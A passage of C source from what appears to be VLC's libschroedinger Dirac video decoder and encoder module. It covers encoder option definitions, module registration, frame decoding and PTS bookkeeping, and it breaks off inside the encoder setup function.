ENC_AU_DISTANCE_LONGTEXT N_("Number of pictures between successive sequence headers i.e. length of the group of pictures") #define ENC_PREFILTER "filtering" #define ENC_PREFILTER_TEXT N_("Prefilter") #define ENC_PREFILTER_LONGTEXT N_("Enable adaptive prefiltering") static const char *enc_filtering_list[] = { "none", "center_weighted_median", "gaussian", "add_noise", "adaptive_gaussian", "lowpass" }; static const char *enc_filtering_list_text[] = { N_("No pre-filtering"), N_("Centre Weighted Median"), N_("Gaussian Low Pass Filter"), N_("Add Noise"), N_("Gaussian Adaptive Low Pass Filter"), N_("Low Pass Filter"), }; #define ENC_PREFILTER_STRENGTH "filter-value" #define ENC_PREFILTER_STRENGTH_TEXT N_("Amount of prefiltering") #define ENC_PREFILTER_STRENGTH_LONGTEXT N_("Higher value implies more prefiltering") #define ENC_CODINGMODE "coding-mode" #define ENC_CODINGMODE_TEXT N_("Picture coding mode") #define ENC_CODINGMODE_LONGTEXT N_("Field coding is where interlaced fields are coded" \ " separately as opposed to a pseudo-progressive frame") static const char *const enc_codingmode_list[] = { "auto", "progressive", "field" }; static const char *const enc_codingmode_list_text[] = { N_("auto - let encoder decide based upon input (Best)"), N_("force coding frame as single picture"), N_("force coding frame as separate interlaced fields"), }; /* advanced option only */ #define ENC_MCBLK_SIZE "motion-block-size" #define ENC_MCBLK_SIZE_TEXT N_("Size of motion compensation blocks") static const char *enc_block_size_list[] = { "automatic", "small", "medium", "large" }; static const char *const enc_block_size_list_text[] = { N_("automatic - let encoder decide based upon input (Best)"), N_("small - use small motion compensation blocks"), N_("medium - use medium motion compensation blocks"), N_("large - use large motion compensation blocks"), }; /* advanced option only */ #define ENC_MCBLK_OVERLAP "motion-block-overlap" #define ENC_MCBLK_OVERLAP_TEXT N_("Overlap of motion compensation blocks") static const char *enc_block_overlap_list[] = { "automatic", "none", "partial", "full" }; static const char *const enc_block_overlap_list_text[] = { N_("automatic - let encoder decide based upon input (Best)"), N_("none - Motion compensation blocks do not overlap"), N_("partial - Motion compensation blocks only partially overlap"), N_("full - Motion compensation blocks fully overlap"), }; #define ENC_MVPREC "mv-precision" #define ENC_MVPREC_TEXT N_("Motion Vector precision") #define ENC_MVPREC_LONGTEXT N_("Motion Vector precision in pels") static const char *const enc_mvprec_list[] = { "1", "1/2", "1/4", "1/8" }; /* advanced option only */ #define ENC_ME_COMBINED "me-combined" #define ENC_ME_COMBINED_TEXT N_("Three component motion estimation") #define ENC_ME_COMBINED_LONGTEXT N_("Use chroma as part of the motion estimation process") #define ENC_DWTINTRA "intra-wavelet" #define ENC_DWTINTRA_TEXT N_("Intra picture DWT filter") #define ENC_DWTINTER "inter-wavelet" #define ENC_DWTINTER_TEXT N_("Inter picture DWT filter") static const char *enc_wavelet_list[] = { "desl_dubuc_9_7", "le_gall_5_3", "desl_dubuc_13_7", "haar_0", "haar_1", "fidelity", "daub_9_7" }; static const char *enc_wavelet_list_text[] = { "Deslauriers-Dubuc (9,7)", "LeGall (5,3)", "Deslauriers-Dubuc (13,7)", "Haar with no shift", "Haar with single shift per level", "Fidelity filter", "Daubechies (9,7) integer approximation" }; #define ENC_DWTDEPTH "transform-depth" #define ENC_DWTDEPTH_TEXT N_("Number of DWT iterations") #define ENC_DWTDEPTH_LONGTEXT N_("Also known as DWT levels") /* advanced option only */ #define ENC_MULTIQUANT "enable-multiquant" #define ENC_MULTIQUANT_TEXT N_("Enable multiple quantizers") #define ENC_MULTIQUANT_LONGTEXT N_("Enable multiple quantizers per subband (one per codeblock)") /* advanced option only */ #define ENC_NOAC "enable-noarith" #define ENC_NOAC_TEXT N_("Disable arithmetic coding") #define ENC_NOAC_LONGTEXT N_("Use variable length codes instead, useful for very high bitrates") /* visual modelling */ /* advanced option only */ #define ENC_PWT "perceptual-weighting" #define ENC_PWT_TEXT N_("perceptual weighting method") static const char *enc_perceptual_weighting_list[] = { "none", "ccir959", "moo", "manos_sakrison" }; /* advanced option only */ #define ENC_PDIST "perceptual-distance" #define ENC_PDIST_TEXT N_("perceptual distance") #define ENC_PDIST_LONGTEXT N_("perceptual distance to calculate perceptual weight") /* advanced option only */ #define ENC_HSLICES "horiz-slices" #define ENC_HSLICES_TEXT N_("Horizontal slices per frame") #define ENC_HSLICES_LONGTEXT N_("Number of horizontal slices per frame in low delay mode") /* advanced option only */ #define ENC_VSLICES "vert-slices" #define ENC_VSLICES_TEXT N_("Vertical slices per frame") #define ENC_VSLICES_LONGTEXT N_("Number of vertical slices per frame in low delay mode") /* advanced option only */ #define ENC_SCBLK_SIZE "codeblock-size" #define ENC_SCBLK_SIZE_TEXT N_("Size of code blocks in each subband") static const char *enc_codeblock_size_list[] = { "automatic", "small", "medium", "large", "full" }; static const char *const enc_codeblock_size_list_text[] = { N_("automatic - let encoder decide based upon input (Best)"), N_("small - use small code blocks"), N_("medium - use medium sized code blocks"), N_("large - use large code blocks"), N_("full - One code block per subband"), }; /* advanced option only */ #define ENC_ME_HIERARCHICAL "enable-hierarchical-me" #define ENC_ME_HIERARCHICAL_TEXT N_("Enable hierarchical Motion Estimation") /* advanced option only */ #define ENC_ME_DOWNSAMPLE_LEVELS "downsample-levels" #define ENC_ME_DOWNSAMPLE_LEVELS_TEXT N_("Number of levels of downsampling") #define ENC_ME_DOWNSAMPLE_LEVELS_LONGTEXT N_("Number of levels of downsampling in hierarchical motion estimation mode") /* advanced option only */ #define ENC_ME_GLOBAL_MOTION "enable-global-me" #define ENC_ME_GLOBAL_MOTION_TEXT N_("Enable Global Motion Estimation") /* advanced option only */ #define ENC_ME_PHASECORR "enable-phasecorr-me" #define ENC_ME_PHASECORR_TEXT N_("Enable Phase Correlation Estimation") /* advanced option only */ #define ENC_SCD "enable-scd" #define ENC_SCD_TEXT N_("Enable Scene Change Detection") /* advanced option only */ #define ENC_FORCE_PROFILE "force-profile" #define ENC_FORCE_PROFILE_TEXT N_("Force Profile") static const char *enc_profile_list[] = { "auto", "vc2_low_delay", "vc2_simple", "vc2_main", "main" }; static const char *const enc_profile_list_text[] = { N_("automatic - let encoder decide based upon input (Best)"), N_("VC2 Low Delay Profile"), N_("VC2 Simple Profile"), N_("VC2 Main Profile"), N_("Main Profile"), }; static const char *const ppsz_enc_options[] = { ENC_RATE_CONTROL, ENC_GOP_STRUCTURE, ENC_QUALITY, ENC_NOISE_THRESHOLD, ENC_BITRATE, ENC_MIN_BITRATE, ENC_MAX_BITRATE, ENC_AU_DISTANCE, ENC_CHROMAFMT, ENC_PREFILTER, ENC_PREFILTER_STRENGTH, ENC_CODINGMODE, ENC_MCBLK_SIZE, ENC_MCBLK_OVERLAP, ENC_MVPREC, ENC_ME_COMBINED, ENC_DWTINTRA, ENC_DWTINTER, ENC_DWTDEPTH, ENC_MULTIQUANT, ENC_NOAC, ENC_PWT, ENC_PDIST, ENC_HSLICES, ENC_VSLICES, ENC_SCBLK_SIZE, ENC_ME_HIERARCHICAL, ENC_ME_DOWNSAMPLE_LEVELS, ENC_ME_GLOBAL_MOTION, ENC_ME_PHASECORR, ENC_SCD, ENC_FORCE_PROFILE, NULL }; /* Module declaration */ vlc_module_begin () set_category( CAT_INPUT ) set_subcategory( SUBCAT_INPUT_VCODEC ) set_shortname( "Schroedinger" ) set_description( N_("Dirac video decoder using libschroedinger") ) set_capability( "decoder", 200 ) set_callbacks( OpenDecoder, CloseDecoder ) add_shortcut( "schroedinger" ) /* encoder */ add_submodule() set_section( N_("Encoding") , NULL ) set_description( N_("Dirac video encoder using libschroedinger") ) set_capability( "encoder", 110 ) set_callbacks( OpenEncoder, CloseEncoder ) add_shortcut( "schroedinger", "schro" ) add_string( ENC_CFG_PREFIX ENC_RATE_CONTROL, NULL, ENC_RATE_CONTROL_TEXT, ENC_RATE_CONTROL_LONGTEXT, false ) change_string_list( enc_rate_control_list, enc_rate_control_list_text ) add_float( ENC_CFG_PREFIX ENC_QUALITY, -1., ENC_QUALITY_TEXT, ENC_QUALITY_LONGTEXT, false ) change_float_range(-1., 10.); add_float( ENC_CFG_PREFIX ENC_NOISE_THRESHOLD, -1., ENC_NOISE_THRESHOLD_TEXT, ENC_NOISE_THRESHOLD_LONGTEXT, false ) change_float_range(-1., 100.); add_integer( ENC_CFG_PREFIX ENC_BITRATE, -1, ENC_BITRATE_TEXT, ENC_BITRATE_LONGTEXT, false ) change_integer_range(-1, INT_MAX); add_integer( ENC_CFG_PREFIX ENC_MAX_BITRATE, -1, ENC_MAX_BITRATE_TEXT, ENC_MAX_BITRATE_LONGTEXT, false ) change_integer_range(-1, INT_MAX); add_integer( ENC_CFG_PREFIX ENC_MIN_BITRATE, -1, ENC_MIN_BITRATE_TEXT, ENC_MIN_BITRATE_LONGTEXT, false ) change_integer_range(-1, INT_MAX); add_string( ENC_CFG_PREFIX ENC_GOP_STRUCTURE, NULL, ENC_GOP_STRUCTURE_TEXT, ENC_GOP_STRUCTURE_LONGTEXT, false ) change_string_list( enc_gop_structure_list, enc_gop_structure_list_text ) add_integer( ENC_CFG_PREFIX ENC_AU_DISTANCE, -1, ENC_AU_DISTANCE_TEXT, ENC_AU_DISTANCE_LONGTEXT, false ) change_integer_range(-1, INT_MAX); add_string( ENC_CFG_PREFIX ENC_CHROMAFMT, "420", ENC_CHROMAFMT_TEXT, ENC_CHROMAFMT_LONGTEXT, false ) change_string_list( enc_chromafmt_list, enc_chromafmt_list_text ) add_string( ENC_CFG_PREFIX ENC_CODINGMODE, "auto", ENC_CODINGMODE_TEXT, ENC_CODINGMODE_LONGTEXT, false ) change_string_list( enc_codingmode_list, enc_codingmode_list_text ) add_string( ENC_CFG_PREFIX ENC_MVPREC, NULL, ENC_MVPREC_TEXT, ENC_MVPREC_LONGTEXT, false ) change_string_list( enc_mvprec_list, enc_mvprec_list ) /* advanced option only */ add_string( ENC_CFG_PREFIX ENC_MCBLK_SIZE, NULL, ENC_MCBLK_SIZE_TEXT, ENC_MCBLK_SIZE_TEXT, true ) change_string_list( enc_block_size_list, enc_block_size_list_text ) /* advanced option only */ add_string( ENC_CFG_PREFIX ENC_MCBLK_OVERLAP, NULL, ENC_MCBLK_OVERLAP_TEXT, ENC_MCBLK_OVERLAP_TEXT, true ) change_string_list( enc_block_overlap_list, enc_block_overlap_list_text ) /* advanced option only */ add_integer( ENC_CFG_PREFIX ENC_ME_COMBINED, -1, ENC_ME_COMBINED_TEXT, ENC_ME_COMBINED_LONGTEXT, true ) change_integer_range(-1, 1 ); /* advanced option only */ add_integer( ENC_CFG_PREFIX ENC_ME_HIERARCHICAL, -1, ENC_ME_HIERARCHICAL_TEXT, ENC_ME_HIERARCHICAL_TEXT, true ) change_integer_range(-1, 1 ); /* advanced option only */ add_integer( ENC_CFG_PREFIX ENC_ME_DOWNSAMPLE_LEVELS, -1, ENC_ME_DOWNSAMPLE_LEVELS_TEXT, ENC_ME_DOWNSAMPLE_LEVELS_LONGTEXT, true ) change_integer_range(-1, 8 ); /* advanced option only */ add_integer( ENC_CFG_PREFIX ENC_ME_GLOBAL_MOTION, -1, ENC_ME_GLOBAL_MOTION_TEXT, ENC_ME_GLOBAL_MOTION_TEXT, true ) change_integer_range(-1, 1 ); /* advanced option only */ add_integer( ENC_CFG_PREFIX ENC_ME_PHASECORR, -1, ENC_ME_PHASECORR_TEXT, ENC_ME_PHASECORR_TEXT, true ) change_integer_range(-1, 1 ); add_string( ENC_CFG_PREFIX ENC_DWTINTRA, NULL, ENC_DWTINTRA_TEXT, ENC_DWTINTRA_TEXT, false ) change_string_list( enc_wavelet_list, enc_wavelet_list_text ) add_string( ENC_CFG_PREFIX ENC_DWTINTER, NULL, ENC_DWTINTER_TEXT, ENC_DWTINTER_TEXT, false ) change_string_list( enc_wavelet_list, enc_wavelet_list_text ) add_integer( ENC_CFG_PREFIX ENC_DWTDEPTH, -1, ENC_DWTDEPTH_TEXT, ENC_DWTDEPTH_LONGTEXT, false ) change_integer_range(-1, SCHRO_LIMIT_ENCODER_TRANSFORM_DEPTH ); /* advanced option only */ add_integer( ENC_CFG_PREFIX ENC_MULTIQUANT, -1, ENC_MULTIQUANT_TEXT, ENC_MULTIQUANT_LONGTEXT, true ) change_integer_range(-1, 1 ); /* advanced option only */ add_string( ENC_CFG_PREFIX ENC_SCBLK_SIZE, NULL, ENC_SCBLK_SIZE_TEXT, ENC_SCBLK_SIZE_TEXT, true ) change_string_list( enc_codeblock_size_list, enc_codeblock_size_list_text ) add_string( ENC_CFG_PREFIX ENC_PREFILTER, NULL, ENC_PREFILTER_TEXT, ENC_PREFILTER_LONGTEXT, false ) change_string_list( enc_filtering_list, enc_filtering_list_text ) add_float( ENC_CFG_PREFIX ENC_PREFILTER_STRENGTH, -1., ENC_PREFILTER_STRENGTH_TEXT, ENC_PREFILTER_STRENGTH_LONGTEXT, false ) change_float_range(-1., 100.0); /* advanced option only */ add_integer( ENC_CFG_PREFIX ENC_SCD, -1, ENC_SCD_TEXT, ENC_SCD_TEXT, true ) change_integer_range(-1, 1 ); /* advanced option only */ add_string( ENC_CFG_PREFIX ENC_PWT, NULL, ENC_PWT_TEXT, ENC_PWT_TEXT, true ) change_string_list( enc_perceptual_weighting_list, enc_perceptual_weighting_list ) /* advanced option only */ add_float( ENC_CFG_PREFIX ENC_PDIST, -1, ENC_PDIST_TEXT, ENC_PDIST_LONGTEXT, true ) change_float_range(-1., 100.); /* advanced option only */ add_integer( ENC_CFG_PREFIX ENC_NOAC, -1, ENC_NOAC_TEXT, ENC_NOAC_LONGTEXT, true ) change_integer_range(-1, 1 ); /* advanced option only */ add_integer( ENC_CFG_PREFIX ENC_HSLICES, -1, ENC_HSLICES_TEXT, ENC_HSLICES_LONGTEXT, true ) change_integer_range(-1, INT_MAX ); /* advanced option only */ add_integer( ENC_CFG_PREFIX ENC_VSLICES, -1, ENC_VSLICES_TEXT, ENC_VSLICES_LONGTEXT, true ) change_integer_range(-1, INT_MAX ); /* advanced option only */ add_string( ENC_CFG_PREFIX ENC_FORCE_PROFILE, NULL, ENC_FORCE_PROFILE_TEXT, ENC_FORCE_PROFILE_TEXT, true ) change_string_list( enc_profile_list, enc_profile_list_text ) vlc_module_end () /***************************************************************************** * Local prototypes *****************************************************************************/ static picture_t *DecodeBlock ( decoder_t *p_dec, block_t **pp_block ); struct picture_free_t { picture_t *p_pic; decoder_t *p_dec; }; /***************************************************************************** * decoder_sys_t : Schroedinger decoder descriptor *****************************************************************************/ struct decoder_sys_t { /* * Dirac properties */ mtime_t i_lastpts; mtime_t i_frame_pts_delta; SchroDecoder *p_schro; SchroVideoFormat *p_format; }; /***************************************************************************** * OpenDecoder: probe the decoder and return score *****************************************************************************/ static int OpenDecoder( vlc_object_t *p_this ) { decoder_t *p_dec = (decoder_t*)p_this; decoder_sys_t *p_sys; SchroDecoder *p_schro; if( p_dec->fmt_in.i_codec != VLC_CODEC_DIRAC ) { return VLC_EGENERIC; } /* Allocate the memory needed to store the decoder's structure */ p_sys = malloc(sizeof(decoder_sys_t)); if( p_sys == NULL ) return VLC_ENOMEM; /* Initialise the schroedinger (and hence liboil libraries */ /* This does no allocation and is safe to call */ schro_init(); /* Initialise the schroedinger decoder */ if( !(p_schro = schro_decoder_new()) ) { free( p_sys ); return VLC_EGENERIC; } p_dec->p_sys = p_sys; p_sys->p_schro = p_schro; p_sys->p_format = NULL; p_sys->i_lastpts = VLC_TS_INVALID; p_sys->i_frame_pts_delta = 0; /* Set output properties */ p_dec->fmt_out.i_cat = VIDEO_ES; p_dec->fmt_out.i_codec = VLC_CODEC_I420; /* Set callbacks */ p_dec->pf_decode_video = DecodeBlock; return VLC_SUCCESS; } /***************************************************************************** * SetPictureFormat: Set the decoded picture params to the ones from the stream *****************************************************************************/ static void SetVideoFormat( decoder_t *p_dec ) { decoder_sys_t *p_sys = p_dec->p_sys; p_sys->p_format = schro_decoder_get_video_format(p_sys->p_schro); if( p_sys->p_format == NULL ) return; p_sys->i_frame_pts_delta = CLOCK_FREQ * p_sys->p_format->frame_rate_denominator / p_sys->p_format->frame_rate_numerator; switch( p_sys->p_format->chroma_format ) { case SCHRO_CHROMA_420: p_dec->fmt_out.i_codec = VLC_CODEC_I420; break; case SCHRO_CHROMA_422: p_dec->fmt_out.i_codec = VLC_CODEC_I422; break; case SCHRO_CHROMA_444: p_dec->fmt_out.i_codec = VLC_CODEC_I444; break; default: p_dec->fmt_out.i_codec = 0; break; } p_dec->fmt_out.video.i_visible_width = p_sys->p_format->clean_width; p_dec->fmt_out.video.i_x_offset = p_sys->p_format->left_offset; p_dec->fmt_out.video.i_width = p_sys->p_format->width; p_dec->fmt_out.video.i_visible_height = p_sys->p_format->clean_height; p_dec->fmt_out.video.i_y_offset = p_sys->p_format->top_offset; p_dec->fmt_out.video.i_height = p_sys->p_format->height; /* aspect_ratio_[numerator|denominator] describes the pixel aspect ratio */ p_dec->fmt_out.video.i_sar_num = p_sys->p_format->aspect_ratio_numerator; p_dec->fmt_out.video.i_sar_den = p_sys->p_format->aspect_ratio_denominator; p_dec->fmt_out.video.i_frame_rate = p_sys->p_format->frame_rate_numerator; p_dec->fmt_out.video.i_frame_rate_base = p_sys->p_format->frame_rate_denominator; } /***************************************************************************** * SchroFrameFree: schro_frame callback to release the associated picture_t * When schro_decoder_reset() is called there will be pictures in the * decoding pipeline that need to be released rather than displayed. *****************************************************************************/ static void SchroFrameFree( SchroFrame *frame, void *priv) { struct picture_free_t *p_free = priv; if( !p_free ) return; picture_Release( p_free->p_pic ); free(p_free); (void)frame; } /***************************************************************************** * CreateSchroFrameFromPic: wrap a picture_t in a SchroFrame *****************************************************************************/ static SchroFrame *CreateSchroFrameFromPic( decoder_t *p_dec ) { decoder_sys_t *p_sys = p_dec->p_sys; SchroFrame *p_schroframe = schro_frame_new(); picture_t *p_pic = NULL; struct picture_free_t *p_free; if( !p_schroframe ) return NULL; p_pic = decoder_NewPicture( p_dec ); if( !p_pic ) return NULL; p_schroframe->format = SCHRO_FRAME_FORMAT_U8_420; if( p_sys->p_format->chroma_format == SCHRO_CHROMA_422 ) { p_schroframe->format = SCHRO_FRAME_FORMAT_U8_422; } else if( p_sys->p_format->chroma_format == SCHRO_CHROMA_444 ) { p_schroframe->format = SCHRO_FRAME_FORMAT_U8_444; } p_schroframe->width = p_sys->p_format->width; p_schroframe->height = p_sys->p_format->height; p_free = malloc( sizeof( *p_free ) ); p_free->p_pic = p_pic; p_free->p_dec = p_dec; schro_frame_set_free_callback( p_schroframe, SchroFrameFree, p_free ); for( int i=0; i<3; i++ ) { p_schroframe->components[i].width = p_pic->p[i].i_visible_pitch; p_schroframe->components[i].stride = p_pic->p[i].i_pitch; p_schroframe->components[i].height = p_pic->p[i].i_visible_lines; p_schroframe->components[i].length = p_pic->p[i].i_pitch * p_pic->p[i].i_lines; p_schroframe->components[i].data = p_pic->p[i].p_pixels; if(i!=0) { p_schroframe->components[i].v_shift = SCHRO_FRAME_FORMAT_V_SHIFT( p_schroframe->format ); p_schroframe->components[i].h_shift = SCHRO_FRAME_FORMAT_H_SHIFT( p_schroframe->format ); } } p_pic->b_progressive = !p_sys->p_format->interlaced; p_pic->b_top_field_first = p_sys->p_format->top_field_first; p_pic->i_nb_fields = 2; return p_schroframe; } /***************************************************************************** * SchroBufferFree: schro_buffer callback to release the associated block_t *****************************************************************************/ static void SchroBufferFree( SchroBuffer *buf, void *priv ) { block_t *p_block = priv; if( !p_block ) return; block_Release( p_block ); (void)buf; } /***************************************************************************** * CloseDecoder: decoder destruction *****************************************************************************/ static void CloseDecoder( vlc_object_t *p_this ) { decoder_t *p_dec = (decoder_t *)p_this; decoder_sys_t *p_sys = p_dec->p_sys; schro_decoder_free( p_sys->p_schro ); free( p_sys ); } /**************************************************************************** * DecodeBlock: the whole thing **************************************************************************** * Blocks need not be Dirac dataunit aligned. * If a block has a PTS signaled, it applies to the first picture at or after p_block * * If this function returns a picture (!NULL), it is called again and the * same block is resubmitted. To avoid this, set *pp_block to NULL; * If this function returns NULL, the *pp_block is lost (and leaked). * This function must free all blocks when finished with them. ****************************************************************************/ static picture_t *DecodeBlock( decoder_t *p_dec, block_t **pp_block ) { decoder_sys_t *p_sys = p_dec->p_sys; if( !pp_block ) return NULL; if ( *pp_block ) { block_t *p_block = *pp_block; /* reset the decoder when seeking as the decode in progress is invalid */ /* discard the block as it is just a null magic block */ if( p_block->i_flags & BLOCK_FLAG_DISCONTINUITY ) { schro_decoder_reset( p_sys->p_schro ); p_sys->i_lastpts = VLC_TS_INVALID; block_Release( p_block ); *pp_block = NULL; return NULL; } SchroBuffer *p_schrobuffer; p_schrobuffer = schro_buffer_new_with_data( p_block->p_buffer, p_block->i_buffer ); p_schrobuffer->free = SchroBufferFree; p_schrobuffer->priv = p_block; if( p_block->i_pts > VLC_TS_INVALID ) { mtime_t *p_pts = malloc( sizeof(*p_pts) ); if( p_pts ) { *p_pts = p_block->i_pts; /* if this call fails, p_pts is freed automatically */ p_schrobuffer->tag = schro_tag_new( p_pts, free ); } } /* this stops the same block being fed back into this function if * we were on the next iteration of this loop to output a picture */ *pp_block = NULL; schro_decoder_autoparse_push( p_sys->p_schro, p_schrobuffer ); /* DO NOT refer to p_block after this point, it may have been freed */ } while( 1 ) { SchroFrame *p_schroframe; picture_t *p_pic; int state = schro_decoder_autoparse_wait( p_sys->p_schro ); switch( state ) { case SCHRO_DECODER_FIRST_ACCESS_UNIT: SetVideoFormat( p_dec ); break; case SCHRO_DECODER_NEED_BITS: return NULL; case SCHRO_DECODER_NEED_FRAME: p_schroframe = CreateSchroFrameFromPic( p_dec ); if( !p_schroframe ) { msg_Err( p_dec, "Could not allocate picture for decoder"); return NULL; } schro_decoder_add_output_picture( p_sys->p_schro, p_schroframe); break; case SCHRO_DECODER_OK: { SchroTag *p_tag = schro_decoder_get_picture_tag( p_sys->p_schro ); p_schroframe = schro_decoder_pull( p_sys->p_schro ); if( !p_schroframe || !p_schroframe->priv ) { /* frame can't be one that was allocated by us * -- no private data: discard */ if( p_tag ) schro_tag_free( p_tag ); if( p_schroframe ) schro_frame_unref( p_schroframe ); break; } p_pic = ((struct picture_free_t*) p_schroframe->priv)->p_pic; p_schroframe->priv = NULL; if( p_tag ) { /* free is handled by schro_frame_unref */ p_pic->date = *(mtime_t*) p_tag->value; schro_tag_free( p_tag ); } else if( p_sys->i_lastpts > VLC_TS_INVALID ) { /* NB, this shouldn't happen since the packetizer does a * very thorough job of inventing timestamps. The * following is just a very rough fall back incase packetizer * is missing. */ /* maybe it would be better to set p_pic->b_force ? */ p_pic->date = p_sys->i_lastpts + p_sys->i_frame_pts_delta; } p_sys->i_lastpts = p_pic->date; schro_frame_unref( p_schroframe ); return p_pic; } case SCHRO_DECODER_EOS: /* NB, the new api will not emit _EOS, it handles the reset internally */ break; case SCHRO_DECODER_ERROR: msg_Err( p_dec, "SCHRO_DECODER_ERROR"); return NULL; } } } /***************************************************************************** * Local prototypes *****************************************************************************/ static block_t *Encode( encoder_t *p_enc, picture_t *p_pict ); /***************************************************************************** * picture_pts_t : store pts alongside picture number, not carried through * encoder *****************************************************************************/ struct picture_pts_t { mtime_t i_pts; /* associated pts */ uint32_t u_pnum; /* dirac picture number */ bool b_empty; /* entry is invalid */ }; /***************************************************************************** * encoder_sys_t : Schroedinger encoder descriptor *****************************************************************************/ #define SCHRO_PTS_TLB_SIZE 256 struct encoder_sys_t { /* * Schro properties */ SchroEncoder *p_schro; SchroVideoFormat *p_format; int started; bool b_auto_field_coding; uint32_t i_input_picnum; block_fifo_t *p_dts_fifo; block_t *p_chain; struct picture_pts_t pts_tlb[SCHRO_PTS_TLB_SIZE]; mtime_t i_pts_offset; mtime_t i_field_time; bool b_eos_signalled; bool b_eos_pulled; }; static struct { unsigned int i_height; int i_approx_fps; SchroVideoFormatEnum i_vf; } schro_format_guess[] = { /* Important: Keep this list ordered in ascending picture height */ {1, 0, SCHRO_VIDEO_FORMAT_CUSTOM}, {120, 15, SCHRO_VIDEO_FORMAT_QSIF}, {144, 12, SCHRO_VIDEO_FORMAT_QCIF}, {240, 15, SCHRO_VIDEO_FORMAT_SIF}, {288, 12, SCHRO_VIDEO_FORMAT_CIF}, {480, 30, SCHRO_VIDEO_FORMAT_SD480I_60}, {480, 15, SCHRO_VIDEO_FORMAT_4SIF}, {576, 12, SCHRO_VIDEO_FORMAT_4CIF}, {576, 25, SCHRO_VIDEO_FORMAT_SD576I_50}, {720, 50, SCHRO_VIDEO_FORMAT_HD720P_50}, {720, 60, SCHRO_VIDEO_FORMAT_HD720P_60}, {1080, 24, SCHRO_VIDEO_FORMAT_DC2K_24}, {1080, 25, SCHRO_VIDEO_FORMAT_HD1080I_50}, {1080, 30, SCHRO_VIDEO_FORMAT_HD1080I_60}, {1080, 50, SCHRO_VIDEO_FORMAT_HD1080P_50}, {1080, 60, SCHRO_VIDEO_FORMAT_HD1080P_60}, {2160, 24, SCHRO_VIDEO_FORMAT_DC4K_24}, {0, 0, 0}, }; /***************************************************************************** * ResetPTStlb: Purge all entries in @p_enc@'s PTS-tlb *****************************************************************************/ static void ResetPTStlb( encoder_t *p_enc ) { encoder_sys_t *p_sys = p_enc->p_sys; for( int i = 0; i < SCHRO_PTS_TLB_SIZE; i++ ) { p_sys->pts_tlb[i].b_empty = true; } } /***************************************************************************** * StorePicturePTS: Store the PTS value for a particular picture number *****************************************************************************/ static void StorePicturePTS( encoder_t *p_enc, uint32_t u_pnum, mtime_t i_pts ) { encoder_sys_t *p_sys = p_enc->p_sys; for( int i = 0; i<SCHRO_PTS_TLB_SIZE; i++ ) { if( p_sys->pts_tlb[i].b_empty ) { p_sys->pts_tlb[i].u_pnum = u_pnum; p_sys->pts_tlb[i].i_pts = i_pts; p_sys->pts_tlb[i].b_empty = false; return; } } msg_Err( p_enc, "Could not store PTS %"PRId64" for frame %u", i_pts, u_pnum ); } /***************************************************************************** * GetPicturePTS: Retrieve the PTS value for a particular picture number *****************************************************************************/ static mtime_t GetPicturePTS( encoder_t *p_enc, uint32_t u_pnum ) { encoder_sys_t *p_sys = p_enc->p_sys; for( int i = 0; i < SCHRO_PTS_TLB_SIZE; i++ ) { if( !p_sys->pts_tlb[i].b_empty && p_sys->pts_tlb[i].u_pnum == u_pnum ) { p_sys->pts_tlb[i].b_empty = true; return p_sys->pts_tlb[i].i_pts; } } msg_Err( p_enc, "Could not retrieve PTS for picture %u", u_pnum ); return 0; } static inline bool SchroSetEnum( const encoder_t *p_enc, int i_list_size, const char *list[], const char *psz_name, const char *psz_name_text, const char *psz_value) { encoder_sys_t *p_sys = p_enc->p_sys; if( list && psz_name_text && psz_name && psz_value ) { for( int i = 0; i < i_list_size; ++i ) { if( strcmp( list[i], psz_value ) ) continue; schro_encoder_setting_set_double( p_sys->p_schro, psz_name, i ); return true; } msg_Err( p_enc, "Invalid %s: %s", psz_name_text, psz_value ); } return false; } static bool SetEncChromaFormat( encoder_t *p_enc, uint32_t i_codec ) { encoder_sys_t *p_sys = p_enc->p_sys; switch( i_codec ) { case VLC_CODEC_I420: p_enc->fmt_in.i_codec = i_codec; p_enc->fmt_in.video.i_bits_per_pixel = 12; p_sys->p_format->chroma_format = SCHRO_CHROMA_420; break; case VLC_CODEC_I422: p_enc->fmt_in.i_codec = i_codec; p_enc->fmt_in.video.i_bits_per_pixel = 16; p_sys->p_format->chroma_format = SCHRO_CHROMA_422; break; case VLC_CODEC_I444: p_enc->fmt_in.i_codec = i_codec; p_enc->fmt_in.video.i_bits_per_pixel = 24; p_sys->p_format->chroma_format = SCHRO_CHROMA_444; break; default: return false; } return true; } #define SCHRO_SET_FLOAT(psz_name, pschro_name) \ f_tmp = var_GetFloat( p_enc, ENC_CFG_PREFIX psz_name ); \ if( f_tmp >= 0.0 ) \ schro_encoder_setting_set_double( p_sys->p_schro, pschro_name, f_tmp ); #define SCHRO_SET_INTEGER(psz_name, pschro_name, ignore_val) \ i_tmp = var_GetInteger( p_enc, ENC_CFG_PREFIX psz_name ); \ if( i_tmp > ignore_val ) \ schro_encoder_setting_set_double( p_sys->p_schro, pschro_name, i_tmp ); #define SCHRO_SET_ENUM(list, psz_name, psz_name_text, pschro_name) \ psz_tmp = var_GetString( p_enc, ENC_CFG_PREFIX psz_name ); \ if( !psz_tmp ) \ goto error; \ else if ( *psz_tmp != '\0' ) { \ int i_list_size = ARRAY_SIZE(list); \ if( !SchroSetEnum( p_enc, i_list_size, list, pschro_name, psz_name_text, psz_tmp ) ) { \ free( psz_tmp ); \ goto error; \ } \ } \ free( psz_tmp ); /***************************************************************************** * OpenEncoder: probe the encoder and return score *****************************************************************************/ static int OpenEncoder( vlc_object_t *p_this ) { encoder_t *p_enc = (encoder_t *)p_this; encoder_sys_t *p_sys; int i_tmp; float f_tmp; char *psz_tmp; if( p_enc->fmt_out.i_codec != VLC_CODEC_DIRAC && !p_enc->b_force ) { return VLC_EGENERIC; } if( !p_enc->fmt_in.video.i_frame_rate || !p_enc->fmt_in.video.i_frame_rate_base || !p_enc->fmt_in.video.i_visible_height || !p_enc->fmt_in.video.i_visible_width ) { msg_Err( p_enc, "Framerate and picture dimensions must be non-zero" ); return VLC_EGENERIC; } /* Allocate the memory needed to store the decoder's structure */ if( ( p_sys = calloc( 1, sizeof( *p_sys ) ) ) == NULL ) return VLC_ENOMEM; p_enc->p_sys = p_sys; p_enc->pf_encode_video = Encode; p_enc->fmt_out.i_codec = VLC_CODEC_DIRAC; p_enc->fmt_out.i_cat = VIDEO_ES; if( ( p_sys->p_dts_fifo = block_FifoNew() ) == NULL ) { CloseEncoder( p_this ); return VLC_ENOMEM; } ResetPTStlb( p_enc ); /* guess the video format based upon number of lines and picture height */ int i = 0; SchroVideoFormatEnum guessed_video_fmt = SCHRO_VIDEO_FORMAT_CUSTOM; /* Pick the dirac_video_format in this order of preference: * 1. an exact match in 